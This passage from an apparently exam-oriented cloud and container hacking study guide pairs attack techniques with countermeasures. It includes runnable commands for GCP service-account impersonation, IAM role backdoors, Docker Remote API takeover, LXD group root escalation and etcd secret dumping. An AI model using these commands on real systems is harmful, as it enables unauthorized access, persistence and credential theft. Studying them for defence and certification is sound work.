Memory trick: "Peering builds a bridge; `allowForwardedTraffic` and `allowGatewayTransit` decide how much traffic can actually cross it."

3.74 AzureGoat: Vulnerable by Design Azure Infrastructure

What it is: AzureGoat is an intentionally vulnerable Azure infrastructure project, mimicking real-world Azure setups with added vulnerabilities, designed for black-box testing practice.

How it works: AzureGoat deploys scenarios covering Insecure Direct Object Reference (IDOR), Server-Side Request Forgery (SSRF), Security Misconfiguration, and Privilege Escalation, letting learners practice exactly the Azure attack techniques described in sections 3.63-3.73 against a safe, legal, intentionally flawed target.

Real-world use: A student practices the managed-identity token theft technique from section 3.70 directly against AzureGoat's deliberately vulnerable web app, safely reproducing a real attack chain end to end.

Tools and commands used here: AzureGoat deployment scripts (infrastructure-as-code); the exploitation techniques from sections 3.63-3.73 apply directly once deployed.

Countermeasures and defense: Not applicable (training tool); use it to practice detecting and fixing IDOR, SSRF, misconfiguration, and privilege-escalation flaws before they appear in a real environment.

EXAM FOCUS: AzureGoat targets Azure specifically, as opposed to AWSGoat (section 3.62, AWS) or GCPGoat (section 3.81, GCP); matching "Goat" name to cloud provider is the direct testable detail.

Memory trick: "AzureGoat: the Azure member of the 'Goat' family of deliberately broken training clouds."

3.75 Enumerating GCP Resources using Google Cloud CLI

What it is: Using Google Cloud's own CLI tools, `gcloud` and `gsutil`, to enumerate organizations, projects, storage buckets, compute instances, service accounts, and IAM roles/policies within a Google Cloud Platform (GCP) environment.

How it works (by resource type):

1. **Organizations, projects, storage buckets:** `gcloud organizations list`; `gsutil iam get gs://<bucket_name>` (bucket permissions); `gsutil ls gs://<bucket_name>` (bucket contents).
2. **Compute Engine resources:** `gcloud compute instances list`; `gcloud compute instances describe <instance> --zone <zone>`.
3. **Service accounts:** `gcloud iam service-accounts list`; `gcloud auth print-access-token --impersonate-service-account=<service- account-email>` to retrieve an access token for impersonation.
4. **IAM roles and policies:** `gcloud iam roles list [--organization= <organization>][--project=<project_id>]`; `gcloud iam roles describe <role_id>` for full metadata including permissions.

Real-world use: `gsutil iam get gs://<bucket_name>` reveals that a storage bucket grants `allUsers` the `READ` permission, meaning literally anyone on the internet can read its contents, exactly the GCP equivalent of an open S3 bucket.

Tools and commands used here: `gcloud organizations list`, `gsutil iam get`, `gsutil ls`, `gcloud compute instances list/ describe`, `gcloud iam service-accounts list`, `gcloud auth print-access-token --impersonate-service-account`, `gcloud iam roles list/ describe` (full table in section 5.39).

Countermeasures and defense: Never grant `allUsers` or `allAuthenticatedUsers` access to a bucket unless the content is genuinely meant to be fully public; use IAM Recommender to find and remove excessive permissions.

EXAM FOCUS: GCP's two CLI tools have distinct jobs: `gcloud` manages most GCP resources; `gsutil` is specifically for Cloud Storage (buckets). A question may test which tool handles which resource type.

Memory trick: "`gsutil` is for storage; `gcloud` is for everything else."

3.76 Enumerating GCP Resources using GCP Scanner

What it is: GCP Scanner determines the level of access that certain credentials possess within GCP, helping attackers evaluate the impact of compromised VMs, containers, GCP service accounts, or leaked OAuth2 token keys.

How it works:

1. The attacker supplies credentials in one of several forms: a directory of service account (SA) keys (`-k KEY_PATH`), a `gcloud` profile directory (`-g GCLOUD_PROFILE_PATH`), GCE instance metadata directly (`-M`/`--use-metadata`), access token files, or refresh token files.
2. GCP Scanner checks what each supplied credential can actually access and do within GCP.
3. Results are written to an output folder/file for review (`-o <output_file>`), and a "light scan" mode (`-ls`) returns only the most important fields for a faster overview.

Real-world use: An attacker who stole a single leaked OAuth2 refresh token (rather than a full service account key) uses GCP Scanner to quickly determine exactly how much access that one token actually grants, without manually testing dozens of individual API calls by hand.

Tools and commands used here: `gcp-scanner` (full flag table in section 5.40).

Countermeasures and defense: Rotate and revoke any leaked token or key immediately; scope service account permissions tightly so even a fully leaked key has limited blast radius; audit GCE instance metadata access controls.

EXAM FOCUS: GCP Scanner accepts many different CREDENTIAL TYPES as input (SA keys, gcloud profiles, metadata, access/refresh tokens); a question may test that it is credential-agnostic, evaluating whatever form of access it is given.

Memory trick: "However the key was stolen, GCP Scanner measures exactly what it can unlock."

3.77 Enumerating Google Cloud Storage Buckets using cloud_enum

What it is: cloud_enum enumerates open or publicly accessible GCP buckets, Firebase Realtime Databases, Google App Engine sites, cloud functions, and open Firebase applications, using a multi-cloud-capable design.

How it works:

1. The attacker runs `cloud_enum.py -k <keyword> --disable-aws --disable-azure` to restrict the scan to Google Cloud only (the tool supports AWS and Azure too, by default).
2. cloud_enum generates name "mutations" from the keyword (combining it with common prefixes/suffixes from a built-in wordlist) to build thousands of candidate bucket names.

3. cloud_enum checks each candidate against Google Cloud Storage and reports whether each exists (as "Protected" if it exists but access is denied, or otherwise accessible).
4. GrayhatWarfare is mentioned as an alternative/complementary tool to identify and access publicly accessible storage buckets across cloud platforms.

Real-world use: A scan with the keyword `cloud` generates 1,837 mutated candidate names and finds several real, existing (though access-protected) Google buckets like `cloud001`, `cloud-01`, and `cloud02`, confirming those bucket names are taken and worth further investigation.

Tools and commands used here:
`cloud_enum.py -k <keyword> --disable-aws --disable-azure` (full syntax and sample output in section 5.41).

Countermeasures and defense: Avoid predictable bucket-naming patterns tied to your organization's name; set buckets to private by default; monitor Cloud Audit Logs for unusual access-denied bursts (a sign of active enumeration).

EXAM FOCUS: cloud_enum is MULTI-CLOUD by default (AWS, Azure, and GCP); the `--disable-aws --disable-azure` flags are how an attacker narrows it to one provider. A question may test that this tool is not GCP-exclusive, unlike GCPBucketBrute (section 3.79).

Memory trick: "cloud_enum mutates a keyword into thousands of guesses across THREE clouds at once, unless you disable the others."

3.78 Enumerating Privilege Escalation Vulnerabilities using GCP Privilege Escalation Scanner

What it is: The GCP Privilege Escalation Scanner (PrivEscScanner) identifies potential privilege escalation vulnerabilities by evaluating IAM policies and permissions across GCP resources for every member in a project or organization.

How it works:

1. `python3 enumerate_member_permissions.py --project-id <project ID>` lists every permission held by every IAM member (user, group, service account) within the targeted GCP project.
2. `python3 check_for_privesc.py` scans those enumerated permissions against a known list of privilege-escalation methods, such as `UpdateIAMRole`, `CreateServiceAccountKey`, `GetServiceAccountAccessToken`, `ServiceAccountImplicitDelegation`, `SetOrgPolicyConstraints`, `CreateGCEInstanceWithSA`, `CreateAPIKey`, `SetProjectIAMPolicy`, and more.
3. Results are written to files such as `all_org_folder_proj_sa_permissions.json`, `privesc_methods.txt`, and `setIamPolicy_methods.txt` for analysis.

Real-world use: The scanner flags a specific user as vulnerable to `CreateServiceAccountKey` on an organization-level service account, meaning that user could

mint a brand-new, valid key for a much more privileged identity than their own account currently holds.

Tools and commands used here: `enumerate_member_permissions.py`, `check_for_privesc.py` (full syntax and sample output in section 5.42).

Countermeasures and defense: Run this scanner (or Google's own IAM Recommender) proactively; remove permissions like `iam.serviceAccountKeys.create` and `iam.serviceAccounts. getAccessToken` from any member who does not specifically need them.

EXAM FOCUS: This GCP privilege-escalation checklist is the direct parallel to the AWS IAM Privilege Escalation Techniques in section 3.57; a question may ask you to recognize the SAME underlying idea (dangerous permission combinations) applied to a different cloud provider's specific permission names.

Memory trick: "Enumerate who-can-do-what, then check that list against the known privesc playbook."

3.79 Escalating Privileges of Google Storage Buckets using GCPBucketBrute

What it is: GCPBucketBrute is a script that enumerates Google Cloud Storage buckets, checks their access levels, and determines whether an attacker can escalate privileges on them (such as gaining administrator-level control over a bucket).

How it works:

1. `python3 gcpbucketbrute.py -k <keyword> -u` brute-forces bucket name permutations based on a keyword.
2. For each name that EXISTS, GCPBucketBrute checks its IAM policy by calling `https://www.googleapis.com/storage/v1/b/BUCKETNAME/iam` directly.
3. It also uses the `TestIamPermissions` API, supplying a bucket name and a list of Google Storage permissions, to determine exactly which of those permissions the current (even unauthenticated) caller actually holds.
4. If unauthenticated access is allowed, the tool reports specifically which actions are possible: UNAUTHENTICATED LISTABLE (`storage.objects.list`), UNAUTHENTICATED READABLE (`storage.objects.get`), or even VULNERABLE TO PRIVILEGE ESCALATION if `storage.buckets.setIamPolicy` is available to anyone.

Real-world use: GCPBucketBrute finds a bucket, `testtestanalytics`, where unauthenticated access allows `storage.buckets.setIamPolicy`; this means literally anyone could grant themselves full administrator rights over that bucket, with no authentication at all.

Tools and commands used here: `gcpbucketbrute.py -k <keyword> -u` (full syntax and sample output in section 5.43).

Countermeasures and defense: Never allow `allUsers` or `allAuthenticatedUsers` any IAM permission on a bucket, and especially never `storage.buckets.setIamPolicy`; use the principle of least privilege and Bucket Policy Only/Uniform bucket-level access settings.

EXAM FOCUS: "`storage.buckets.setIamPolicy` granted to anyone" is the single most severe finding this tool can report, since it means full administrative takeover of that bucket with zero authentication; a question is likely to test recognizing this specific permission as catastrophic.

Memory trick: "If `setIamPolicy` is open to the public, the bucket can crown its own king."

3.80 Maintaining Access: Creating Backdoors with IAM Roles in GCP

What it is: The GCP-specific technique of creating new custom IAM roles and binding them to service accounts, to establish persistent access an attacker can regain even after their original entry point is discovered and removed.

How it works:

1. **Create a new IAM role:** `gcloud iam roles create <role_name> --project=<project_id> --file=role-definition.yaml`.
2. **Assign the role to a service account:** `gcloud projects add-iam- policy-binding <project_id> --member=serviceAccount: <service_account>@<project_id>.iam.gserviceaccount.com --role=roles/<role_name>`.
3. By controlling both the custom role's exact permissions and which service account holds it, the attacker creates a stealthy backdoor that can be reactivated later.

Real-world use: An attacker creates a role named innocuously (for example, matching an existing naming convention) and binds it to a rarely-reviewed automation service account, so even if the attacker's original compromised user account is disabled, the backdoored service account keeps working.

Tools and commands used here: `gcloud iam roles create`, `gcloud projects add-iam-policy-binding` (full syntax in section 5.44).

Countermeasures and defense: Regularly audit every custom IAM role and every role binding on every service account; flag and investigate any newly created custom role with unusually broad permissions.

EXAM FOCUS: This requires the attacker to have already escalated to admin-level privileges first (noted directly in the source material); a question may test that this is a POST-EXPLOITATION, persistence-phase technique, not an initial-access technique.

Memory trick: "Define a custom key (role), then quietly hand it to a trusted-looking lock (service account)."

3.81 GCPGoat: Vulnerable by Design GCP Infrastructure

What it is: GCPGoat is an intentionally vulnerable GCP infrastructure project that lets learners test and improve attacking skills by exploiting common GCP misconfigurations and vulnerabilities.

How it works: GCPGoat covers scenarios including Server-Side Request Forgery (SSRF), misconfigured storage bucket policies, and lateral movement, letting learners practice against a safe, legal, intentionally flawed GCP target. Its example storage bucket policy output shows a bucket granting `allUsers` the `roles/storage.admin` role, a direct real-world example of the catastrophic over-permission described in section 3.79.

Real-world use: A learner uses GCPGoat's deliberately misconfigured storage bucket to practice exactly the GCPBucketBrute workflow from section 3.79, confirming hands-on how `allUsers` with `storage.admin` translates into full public read/write/administer access.

Tools and commands used here: GCPGoat deployment scripts (infrastructure-as-code); `gsutil iam get`, GCPBucketBrute from section 3.79 apply directly once deployed.

Countermeasures and defense: Not applicable (training tool); use it to practice detecting and fixing SSRF and storage misconfigurations before they appear in production.

EXAM FOCUS: GCPGoat completes the "Goat" trio: AWSGoat (AWS, section 3.62), AzureGoat (Azure, section 3.74), GCPGoat (GCP, here); a question naming one simply expects the matching cloud provider.

Memory trick: "Three clouds, three Goats, same lesson: deliberately broken, so you learn to spot it elsewhere."

3.82 Information Gathering using kubectl

What it is: `kubectl` is Kubernetes' own command-line tool; attackers use it to interact with a cluster and gather information about pods, services, deployments, and service accounts for further malicious activity.

How it works: the attacker runs read-only `kubectl get`/`describe`/ `logs` commands to list all pods, fetch detailed information about a specific pod, dump a pod's logs, list all running services, list all deployments, and list all service accounts in the cluster.

Real-world use: `kubectl logs <pod-name>` on a misconfigured pod that was never meant to be reachable reveals application debug output containing a database connection string, handing the attacker direct database credentials.

Tools and commands used here: `kubectl get pods`, `kubectl describe pod`, `kubectl logs`, `kubectl get services`, `kubectl get deployment`, `kubectl get serviceaccounts` (full table in section 5.45).

Countermeasures and defense: Restrict `kubectl` API access using RBAC so only authorized users/service accounts can run `get`/`describe` /`logs` against sensitive namespaces; never log secrets or connection strings in plaintext application output.

EXAM FOCUS: `kubectl get`, `describe`, and `logs` are all READ-ONLY information-gathering commands; a question may ask you to distinguish these from state-changing commands like `kubectl apply` or `kubectl exec`.

Memory trick: "`get` lists it, `describe` details it, `logs` dumps it."

3.83 Enumerating Registries

What it is: Enumerating container registries means logging in to and listing the contents of a container image registry, to identify outdated images, misconfigured containers, or known vulnerabilities, and potentially to download or tamper with stored images.

How it works:

1. `docker login registry-url` logs in to a target registry.
2. `curl -u <username>:<password> https://<registry-url>/v2/_catalog` lists every image repository in the registry, using the registry API directly.
3. `curl -u <username>:<password> https://<registry-url>/v2/<image- name>/tags/list` lists every tag (version) available for one specific image.

Real-world use: An attacker with weak/default registry credentials lists the full image catalog, then finds an image tagged `:latest` that has not been rebuilt in two years, a strong candidate for known, unpatched vulnerabilities.

Tools and commands used here: `docker login`, `curl .../v2/ _catalog`, `curl .../v2/ <image>/tags/list` (full syntax in section 5.46).

Countermeasures and defense: Require strong authentication on every registry, never leave a registry API publicly reachable without credentials, and regularly prune/ rebuild outdated image tags.

EXAM FOCUS: The Docker Registry HTTP API's `/v2/_catalog` and `/v2/<name>/tags/list` endpoints are specific, testable paths; a question describing "listing a registry's contents via HTTP" is pointing at these endpoints.

Memory trick: "`_catalog` lists every image; `tags/list` lists one image's versions."

3.84 Container/Kubernetes Vulnerability Scanning

What it is: A set of specialized scanners for finding vulnerabilities in container images and Kubernetes clusters, led by Trivy (image/dependency scanning) and Sysdig (cluster-wide, pipeline- integrated scanning).

How it works:

1. **Trivy** detects vulnerabilities in OS packages (Alpine, RHEL, CentOS) and application dependencies (Bundler, Composer, npm, yarn), reporting each with a package/version pair and a suggested fixed version, tagged by severity (for example, CRITICAL).
2. **Sysdig** identifies Kubernetes vulnerabilities by integrating with the CI/CD pipeline, the image registry, and Kubernetes admission controllers, giving a dashboard view of vulnerabilities, exploitability, and risk across running workloads.
3. Other vulnerability scanning tools named: Kubescape, kube-hunter, kubeaudit, KubiScan, Krane.

Real-world use: Trivy scanning a CI/CD pipeline's build step catches a CRITICAL vulnerability in an outdated `libexpat1` package before the image is ever pushed to production, blocking the deployment automatically.

Tools and commands used here: `trivy` (image scan syntax in section 5.47); Sysdig, Kubescape, kube-hunter, kubeaudit, KubiScan, Krane (named tools, see Tool Encyclopedia section 4).

Countermeasures and defense: Integrate a scanner like Trivy directly into the CI/CD pipeline so vulnerable images are blocked before deployment, not found afterward; run cluster-wide scanners like kube-hunter periodically against your own cluster.

EXAM FOCUS: Trivy scans IMAGES/DEPENDENCIES; Sysdig scans the broader PIPELINE + CLUSTER + ADMISSION CONTROLLERS; kube-hunter specifically probes a LIVE cluster for exploitable weaknesses (like a penetration-testing tool for Kubernetes). A question may ask which tool fits which scanning target.

Memory trick: "Trivy checks what's INSIDE the image; Sysdig and kube-hunter check the live CLUSTER running it."

3.85 Exploiting Docker Remote API

What it is: The Docker Remote (Engine) API, when left exposed without authentication, lets an attacker fully control a remote Docker host: pulling images, running containers, executing commands inside them, and even scanning the host's internal network.

How it works:

1. **Retrieve files from the Docker host:** pull an image (`docker -H <Remote IP:Port> pull alpine`), run a container from it (`docker -H <Remote IP:Port> run -t -d alpine`), then execute `ls` inside that container (`docker -H <Remote IP:Port> exec <container_name> ls`) to browse the host's accessible filesystem through the container.
2. **Scan the internal network:** run an Nmap-in-a-container image against the host's own network using `docker -H <docker host> run --network=host --rm marsmensch/nmap -oX <IP Range>`, using the compromised Docker host as a scanning pivot point.

Real-world use: An exposed Docker Remote API on port 2375 (no TLS, no auth) lets an attacker run any container they want on that host, including one configured with `--network=host`, giving the attacker a scanning foothold deep inside the victim's internal network, all without ever needing a traditional foothold like phishing.

Tools and commands used here: `docker -H <Remote IP:Port> pull/ run/exec`, `marsmensch/nmap` container image (full syntax and sample output in section 5.48).

Countermeasures and defense: Never expose the Docker daemon socket or Remote API without TLS client-certificate authentication; bind the Docker daemon to a local Unix socket only, or firewall off the API port (2375/2376) entirely from untrusted networks.

EXAM FOCUS: This directly reinforces Docker security best practice

1 (section 3.96): "Avoid exposing the Docker daemon socket"; a

scenario describing full remote container control over a network port is testing exactly this.

Memory trick: "An exposed Docker API hands a stranger the keys to every container on that host."

3.86 Hacking Container Volumes

What it is: Container volumes (using NFS or iSCSI, among others) are directories that store files and are accessible to all containers in a pod; weak or default volume configurations let attackers escalate privileges and move laterally.

How it works (3 access points):

1. **Accessing Master Nodes:** if attackers reach the API server or `etcd`, they can retrieve configuration details of every mounted volume across the cluster.
2. **Accessing Nodes:** since `kubelet` manages the pods on a node, an attacker who reaches a node can access every volume used within any pod on that node.
3. **Accessing a Container:** by gaining access to a single container, an attacker can configure a `hostPath` volume type to reach and retrieve sensitive information directly from the underlying host node's filesystem.

Real-world use: An attacker who compromises just one low-value container mounts a `hostPath` volume pointing at the node's root filesystem, escaping the container's intended boundary entirely and reading files that belong to the host, not the container.

Tools and commands used here: none specific; this is a Kubernetes volume-configuration abuse technique, requiring prior privilege escalation (noted directly in the source material).

Countermeasures and defense: Avoid `hostPath` volumes wherever possible; if required, mount them read-only and restrict to the narrowest possible host path; enforce Pod Security Standards/Admission controls that block privileged `hostPath` mounts entirely.

EXAM FOCUS: `hostPath` volume abuse is the single most testable detail here: it is the specific mechanism that lets a compromised CONTAINER escape to read HOST-level files.

Memory trick: "Master node, worker node, or a single container - three different doors into the same shared volumes."

3.87 LXD/LXC Container Group Privilege Escalation

What it is: LXD is a system container manager, and LXC is its underlying container runtime, both used to run full Linux distributions inside containers; if a user belongs to the `lxd` group on a Linux system, they can exploit that group membership to escalate to root.

How it works (6 steps):

1. Create a working directory and download an Alpine LXD image definition (`wget` the `alpine.yaml` image config from the LXC CI repository).
2. Build the container image using `distrobuilder build-lxd alpine.yaml -o image.release=3.18`.
3. Import the built image into LXD: `lxc image import lxd.tar.xz rootfs.squashfs --alias alpine`.
4. Confirm the image is available: `lxc image list`.
5. Create a PRIVILEGED container and mount the host's root filesystem into it: `lxc init alpine privesc -c security.privileged=true`, then `lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true`.
6. Start the container and get a root shell inside it, which can now read/write the entire host filesystem via `/mnt/root`: `lxc start privesc`, then `lxc exec privesc /bin/sh`.

Real-world use: A developer added to the `lxd` group for a legitimate reason (to manage their own test containers) unknowingly has an unrestricted path straight to host root access, because LXD's own design lets any `lxd` group member create a privileged container with full host filesystem access.

Tools and commands used here: `distrobuilder`, `lxc image import`, `lxc init ... security.privileged=true`, `lxc config device add`, `lxc start`, `lxc exec` (full syntax in section 5.49).

Countermeasures and defense: Treat `lxd` group membership as equivalent to root access and grant it with the same caution; avoid allowing unprivileged users into the `lxd` group entirely; disable or tightly restrict privileged container creation.

EXAM FOCUS: "Membership in the `lxd` group equals root" is the key exam fact; unlike `sudo` group membership (which requires a password and specific command grants), `lxd` group membership alone is enough, with no further authorization check.

Memory trick: "In the `lxd` group? You already have the keys to root, you just have not used them yet."

3.88 Post Enumeration on Kubernetes etcd

What it is: `etcd` is Kubernetes' distributed, consistent key-value store, holding cluster data, service discovery details, and API objects; attackers who reach it can pull secrets directly from the cluster's backing database.

How it works:

1. Identify the `etcd` server's location and PKI certificate information: `ps -ef | grep apiserver` (reveals the certificate file paths the API server uses to talk to `etcd`).
2. Query `etcd` directly for stored secrets, using the discovered certificates for authentication: `ETCDCTL_API=3 etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/apiserver-etcd-client.crt --key=/etc/kubernetes/pki/apiserver-etcd-client.key --endpoints=https://127.0.0.1:2379 get /registry/ --prefix | grep -a '/registry/secrets/'.`

Real-world use: An attacker who gained a shell on the Kubernetes control-plane node runs this exact `etcdctl` command and pulls every Kubernetes Secret stored in the cluster, in plaintext (tying directly back to Kubernetes Vulnerability #5, "Secrets at Rest not Encrypted by Default," section 3.15).

Tools and commands used here: `ps -ef | grep apiserver`, `etcdctl` (full syntax in section 5.50).

Countermeasures and defense: Enable encryption at rest for Kubernetes Secrets (`EncryptionConfiguration` with a KMS provider, see section 3.97's recommendation), restrict access to `etcd`'s client certificates tightly, and never allow unprivileged shell access to control-plane nodes.

EXAM FOCUS: This is the practical, hands-on demonstration of Kubernetes Vulnerability #5 from section 3.15; a question connecting "`etcdctl get /registry/secrets/ --prefix`" to "reading unencrypted Kubernetes secrets" is testing this exact link.

Memory trick: "`etcd` is the cluster's brain; reach it with the right certs, and every secret is just a `get` away."

3.89 Cloud Computing Security Considerations

What it is: A list of general security properties a cloud service should have, covering vendor responsibilities (tailoring security, multi-tenancy isolation, disaster recovery, QoS monitoring, data integrity) and technical requirements (fast/reliable response times, symmetric/asymmetric cryptography, secure operational integration, load balancing, resilience, physical threat protection).

How it works (key considerations):

1. Cloud services should be tailor-made to the client's actual security requirements, not one-size-fits-all.
2. Providers should give higher multi-tenancy isolation so resources and data stay secure even while shared efficiently.
3. Providers should implement a disaster recovery plan so stored data can always be retrieved after unexpected events.
4. Continuous Quality of Service (QoS) monitoring is needed to meet SLA commitments between provider and consumer.
5. Data stored in the cloud must be implemented securely to ensure data integrity.
6. Services must be fast and reliable, with quick response times for new requests.
7. Both symmetric and asymmetric cryptographic algorithms must be implemented for optimum data security.
8. The operational process of cloud-based services should be engineered, operated, and integrated securely into the organization's overall security management.
9. Load balancing should be incorporated to improve response time and maximum throughput.
10. Providers should offer better resilience and enhanced protection from physical threats.

Real-world use: A healthcare SaaS vendor's contract explicitly commits to disaster recovery, data-at-rest encryption using both symmetric (AES for bulk data) and asymmetric (RSA/ECC for key exchange) cryptography, and a documented QoS-backed SLA, directly matching this checklist, before a hospital will sign on as a customer.

Countermeasures and defense: Use this list as a vendor-evaluation checklist before adopting any cloud service, and as an internal checklist if your organization is itself a cloud provider.

EXAM FOCUS: This list blends GENERAL security principles with CLOUD-SPECIFIC ones (multi-tenancy, QoS/SLA); a question may ask which items are unique to cloud versus general IT security practice.

Memory trick: "Tailored, Tenant-isolated, Recoverable, Monitored, Integral, Fast, Encrypted, Integrated, Balanced, Resilient" - ten traits of a trustworthy cloud service.

3.90 Assessing Cloud Security using Scout Suite

What it is: Scout Suite is a multi-cloud security-auditing tool that helps security professionals assess the security posture of cloud environments across AWS, Azure, and GCP from one consistent tool.

How it works:

1. `scout aws --profile <your-aws-profile>` assesses AWS security posture using a configured AWS CLI profile.

2. `scout azure --tenant-id <tenant-id> --subscription-id <subscription-id> --client-id <client-id> --client-secret <client- secret>` assesses Azure security posture.
3. `scout gcp --service-account-file path/to/service-account- key.json` assesses GCP security posture using a service account key.
4. Scout Suite produces a browser-based dashboard summarizing findings per service (ACM, Lambda, CloudFormation, CloudTrail, EC2, and more), with resource counts, rule counts, and finding counts for each.

Real-world use: A security team runs Scout Suite against all three of their cloud accounts (AWS, Azure, GCP) in one session, getting one consistent dashboard format to compare findings across providers, rather than learning three different native tools.

Tools and commands used here: `scout aws`, `scout azure`, `scout gcp` (full syntax in section 5.51).

Countermeasures and defense: Run Scout Suite (or an equivalent multi-cloud tool) regularly as part of routine security operations; remediate HIGH-severity findings first, especially around EC2 and CloudTrail, since the sample dashboard shows these generating the most findings.

EXAM FOCUS: Scout Suite's defining feature is being MULTI-CLOUD from one tool with one consistent command style (`scout <provider> <auth-flags>`); a question contrasting it with single-provider tools like Prowler (AWS-first) or CloudSploit tests this distinction.

Memory trick: "One Scout, three clouds, one dashboard."

3.91 Best Practices for Securing the Cloud (24 Items)

What it is: A consolidated, numbered list of 24 best practices for securing any cloud environment, spanning data protection, SLAs, audits, legal contracts, authentication, monitoring, and incident response.

How it works (24 best practices):

1. Enforce data protection, backup, and retention mechanisms.
2. Enforce SLAs for patching and vulnerability remediation.
3. Vendors should regularly undergo AICPA SSAE 18 Type II audits.
4. Verify one's own cloud presence in public domain blacklists.
5. Enforce legal contracts in employee behavior policy.
6. Prohibit credential sharing among users, applications, and services.
7. Implement strong authentication, authorization, and auditing controls.
8. Check for data protection at both the design stage and at runtime.
9. Implement strong key generation, storage, management, and destruction practices.
10. Monitor the client's traffic for any malicious activities.
11. Prevent unauthorized server access using security checkpoints.
12. Disclose applicable logs and data to customers.
13. Analyze cloud provider security policies and SLAs.

14. Assess the security of cloud APIs and log customer network traffic.
15. Ensure the cloud undergoes regular security checks and updates.
16. Ensure physical security is a 24x7x365 affair.
17. Enforce security standards in installation/configuration.
18. Ensure memory, storage, and network access is isolated.
19. Leverage strong two-factor authentication techniques where possible.
20. Implement a baseline security breach notification process.
21. Analyze the API dependency chain's software modules.
22. Enforce stringent registration and validation processes.
23. Perform vulnerability and configuration risk assessments.
24. Disclose infrastructure information, security patching, and firewall details.

Real-world use: Before signing with a new cloud vendor, a procurement team uses this exact 24-item list as a vendor-security questionnaire, rejecting any vendor who cannot demonstrate item 3 (AICPA SSAE 18 Type II audits) or item 19 (strong 2FA).

Countermeasures and defense: This list IS the countermeasure set; apply it as a direct checklist for both choosing a cloud vendor and auditing your own cloud usage.

EXAM FOCUS: The exam may quote one item's wording and ask you to match it to a category (legal, technical, operational); recognize the AICPA SSAE 18 Type II audit term specifically, as it is a distinct, named compliance standard.

Memory trick: Group the 24 into 4 buckets of 6: Governance/Legal (2,3,5,6,20,22), Technical Controls (7,9,17,18,19,21), Monitoring/ Response (4,10,14,15,16,23), Data/ Transparency (1,8,11,12,13,24).

> **ADDED CONTEXT:** AICPA SSAE 18 (Statement on Standards for Attestation Engagements No. 18) is the current US audit standard behind SOC 1 and SOC 2 reports; a "Type II" report specifically covers the effectiveness of controls over a period of time (not just a point in time, which would be Type I) (verify current SSAE numbering, since AICPA standards are periodically updated).

3.92 Cloud Security Controls

What it is: Three distinct cloud security control concepts: cloud integration/auditing, security groups, and instance awareness (the cloud-based kill chain model).

How it works:

1. **Cloud integration:** the process of grouping multiple cloud environments together into a public or hybrid cloud, so they work as one combined system.
2. **Cloud auditing:** the process of analyzing cloud provider services and verifying their conformity to requirements for privacy, security, and more.
3. **Security groups:** a basic cloud security measure, sitting between the internet and virtual instances, controlling inbound and outbound traffic to those instances.

4. **Instance awareness:** the cloud-based kill chain model describes the possibility of using fake cloud instances for command-and- control, to exfiltrate data from a cloud environment while blending in among real instances.

Real-world use: A security team's "instance awareness" program specifically looks for compute instances that do not match any known, expected workload profile, catching a rogue C2 instance an attacker quietly spun up to blend in among dozens of legitimate ones.

Countermeasures and defense: Maintain an accurate inventory of every expected, legitimate instance (instance awareness); treat security groups as a baseline control, not a complete one (pair with deep packet inspection, as in the Cloud Snooper lesson from section 3.25); audit cloud integration points between environments regularly.

EXAM FOCUS: "Instance awareness" and the "cloud-based kill chain" are specific, nameable concepts the exam may test directly, distinct from the general idea of a security group.

Memory trick: "Integrate many clouds, audit them, gate traffic with security groups, and stay aware of which instances are really yours."

3.93 Kubernetes Vulnerabilities and Solutions (Quick Reference)

What it is: The matched countermeasure for each of the 10 Kubernetes vulnerabilities introduced in section 3.15.

How it works (vulnerability -> solution):

1. No certificate revocation -> maintain a Certificate Revocation List (CRL) on nodes; use OCSP stapling for certificate revocation.
2. Unauthenticated HTTPS connections -> authenticate all HTTPS connections; ensure all components use the CA maintained by `kube-apiserver`; implement two-way (mutual) TLS everywhere.
3. Exposed bearer tokens in logs -> remove bearer tokens from system logs; code-review for sensitive data logging; apply logging filters.
4. Exposure of sensitive data via environment variables -> avoid collecting sensitive data directly from environment variables; use Kubernetes Secrets in every component instead.
5. Secrets at rest not encrypted by default -> define and document configuration requirements per security level; use secondary logging for processes needing strict non-repudiation.
6. Non-constant time password comparison -> use a safe, constant-time comparison function (such as `crypto.subtle.ConstantTimeCompare`); disallow basic authentication mechanisms in favor of secure options.
7. Hardcoded credential paths -> define a configurable method for credential paths, avoid hardcoding, and allow cross-platform configuration through path generalization.

8. Log rotation is not atomic -> implement a copy-then-rename technique for log rotation; alternatively use persistent, linearly appended logs instead of rotation.
9. No back-off process for scheduling -> implement a back-off process in `kube-scheduler` to prevent tight loops.
10. No non-repudiation -> log and make retrievable, from a central location, all authentication events.

Real-world use: A cluster operator fixes vulnerability #5 by enabling `EncryptionConfiguration` backed by a KMS provider for Kubernetes Secrets, directly closing the exact gap demonstrated in section 3.88's `etcdctl` secret-dumping walkthrough.

Tools and commands used here: KMS-based secret encryption, OCSP stapling, mutual TLS configuration (provider/distribution-specific).

Countermeasures and defense: This table IS the countermeasure reference; apply each fix directly against its matching vulnerability number from section 3.15.

EXAM FOCUS: The exam may give a Kubernetes vulnerability's DESCRIPTION and ask for its matching SOLUTION, or vice versa; study sections 3.15 and 3.93 as one paired set.

Memory trick: "Every weak point from section 3.15 has a named fix here - study them as pairs, not two separate lists."

3.94 Serverless Security Risks and Solutions (OWASP A1-A10)

What it is: The matched countermeasure for each of the 10 OWASP Serverless Security Risks introduced in section 3.11.

How it works (risk -> solution):

1. **A1 Injection** -> use safe APIs, parameterized interfaces, or Object Relational Mapping (ORM) tools; escape special characters in dynamic SQL queries.
2. **A2 Broken Authentication** -> use identity and access control solutions; implement strong authentication/access control on external-facing resources; use Federated Identity for service authentication.
3. **A3 Sensitive Data Exposure** -> identify and classify sensitive data; encrypt data in transit and at rest; implement HTTPS endpoints for every API.
4. **A4 XML External Entities (XXE)** -> scan supply-chain libraries for vulnerabilities; test API calls for XXE; always disable entity resolution.
5. **A5 Broken Access Control** -> follow the least-privilege principle when granting permissions to functions.
6. **A6 Security Misconfiguration** -> use the cloud provider's built-in services (such as AWS Trusted Advisor) to find public resources; identify functions with unlinked triggers; set minimum required timeouts on functions.
7. **A7 Cross-Site Scripting (XSS)** -> encode all untrusted data before sending it to the client; use only well-known, trusted frameworks and headers.

8. **A8 Insecure Deserialization** -> validate that serialized objects genuinely originate from trusted (not untrusted) data; scan third-party libraries for deserialization vulnerabilities.
9. **A9 Using Components with Known Vulnerabilities** -> continuously monitor third-party libraries/dependencies; deploy only signed packages/components from official sources.
